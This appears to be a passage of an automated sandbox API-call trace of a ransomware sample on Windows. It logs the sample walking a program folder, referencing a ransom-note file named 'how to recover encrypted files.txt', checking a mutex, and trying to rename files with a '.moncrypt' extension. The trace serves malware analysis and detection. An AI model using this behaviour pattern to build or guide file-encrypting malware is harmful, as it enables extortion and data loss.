lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.167] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png", cchWideChar=82, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.pngd", lpUsedDefaultChar=0x0) returned 82 [0058.167] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Pets\\Pets_btn-previous-over-select.pngd", lpUsedDefaultChar=0x0) returned 4 [0058.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x724a0a00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x724a0a00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6b6717, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-previous-over-select.png", cAlternateFileName="")) returned 0x54e280 [0058.167] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.167] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.168] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.168] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png", dwFileAttributes=0x20) returned 0 [0058.168] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.168] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-previous-over-select.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-previous-over-select.png.moncrypt")) returned 0 [0058.168] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.168] GlobalLock (hMem=0x440004) returned 0x550170 [0058.168] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.168] GlobalUnlock (hMem=0x440004) returned 0 [0058.169] GlobalLock (hMem=0x440004) returned 0x550170 [0058.169] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.169] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.169] GlobalUnlock (hMem=0x440004) returned 0 [0058.169] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.169] GlobalUnlock (hMem=0x44000c) returned 0 [0058.169] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43d73bc0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43d73bc0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.169] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.169] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.169] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.169] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.169] GlobalUnlock (hMem=0x44000c) returned 0 [0058.169] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.169] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.169] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.169] GlobalUnlock (hMem=0x44000c) returned 0 [0058.169] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.169] GlobalUnlock (hMem=0x440004) returned 0 [0058.169] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.169] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x43d73bc0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x43d73bc0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.169] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.169] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.169] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.170] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.170] GlobalUnlock (hMem=0x440004) returned 0 [0058.170] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.170] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.170] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.170] GlobalUnlock (hMem=0x440004) returned 0 [0058.170] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.170] GlobalUnlock (hMem=0x44000c) returned 0 [0058.170] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.170] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0058.170] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.170] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.170] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.170] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.170] GlobalUnlock (hMem=0x44000c) returned 0 [0058.170] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.170] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.170] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.170] GlobalUnlock (hMem=0x44000c) returned 0 [0058.170] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.170] GlobalUnlock (hMem=0x440004) returned 0 [0058.170] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.170] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72050277, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72050277, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd24, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0058.170] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.170] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.170] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.170] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.170] GlobalUnlock (hMem=0x440004) returned 0 [0058.171] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.171] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.171] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.171] GlobalUnlock (hMem=0x440004) returned 0 [0058.171] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.171] GlobalUnlock (hMem=0x44000c) returned 0 [0058.171] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.171] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720763d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x720763d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e5d1ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0058.171] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.171] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.171] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.171] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.171] GlobalUnlock (hMem=0x44000c) returned 0 [0058.171] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.171] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.171] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.171] GlobalUnlock (hMem=0x44000c) returned 0 [0058.171] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.171] GlobalUnlock (hMem=0x440004) returned 0 [0058.171] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.171] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7210e948, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7210e948, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e61e19f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0058.171] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.171] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.171] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.171] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.171] GlobalUnlock (hMem=0x440004) returned 0 [0058.171] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.171] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.172] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.172] GlobalUnlock (hMem=0x440004) returned 0 [0058.172] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.172] GlobalUnlock (hMem=0x44000c) returned 0 [0058.172] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.172] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-over-select.png", cAlternateFileName="")) returned 1 [0058.172] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.172] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.172] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.172] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.172] GlobalUnlock (hMem=0x44000c) returned 0 [0058.172] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.172] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.172] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.172] GlobalUnlock (hMem=0x44000c) returned 0 [0058.172] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.172] GlobalUnlock (hMem=0x440004) returned 0 [0058.172] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.172] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7242e5e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7242e5e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-static.png", cAlternateFileName="")) returned 1 [0058.172] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.172] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.172] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.172] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.172] GlobalUnlock (hMem=0x440004) returned 0 [0058.172] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.172] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.172] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.172] GlobalUnlock (hMem=0x440004) returned 0 [0058.173] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.173] GlobalUnlock (hMem=0x44000c) returned 0 [0058.173] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.173] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72454746, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72454746, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-over-select.png", cAlternateFileName="")) returned 1 [0058.173] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.173] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.173] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.173] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.173] GlobalUnlock (hMem=0x44000c) returned 0 [0058.173] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.173] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.173] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.173] GlobalUnlock (hMem=0x44000c) returned 0 [0058.173] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.173] GlobalUnlock (hMem=0x440004) returned 0 [0058.173] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.173] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7247a8a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7247a8a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-next-static.png", cAlternateFileName="")) returned 1 [0058.173] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.173] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.173] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.173] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.173] GlobalUnlock (hMem=0x440004) returned 0 [0058.173] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.173] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.173] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.173] GlobalUnlock (hMem=0x440004) returned 0 [0058.173] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.174] GlobalUnlock (hMem=0x44000c) returned 0 [0058.174] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.174] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x722b1847, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x722b1847, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-over-DOT.png", cAlternateFileName="")) returned 1 [0058.174] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.174] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.174] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.174] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.174] GlobalUnlock (hMem=0x44000c) returned 0 [0058.174] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.174] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.174] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.174] GlobalUnlock (hMem=0x44000c) returned 0 [0058.174] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.174] GlobalUnlock (hMem=0x440004) returned 0 [0058.174] OpenMutexA 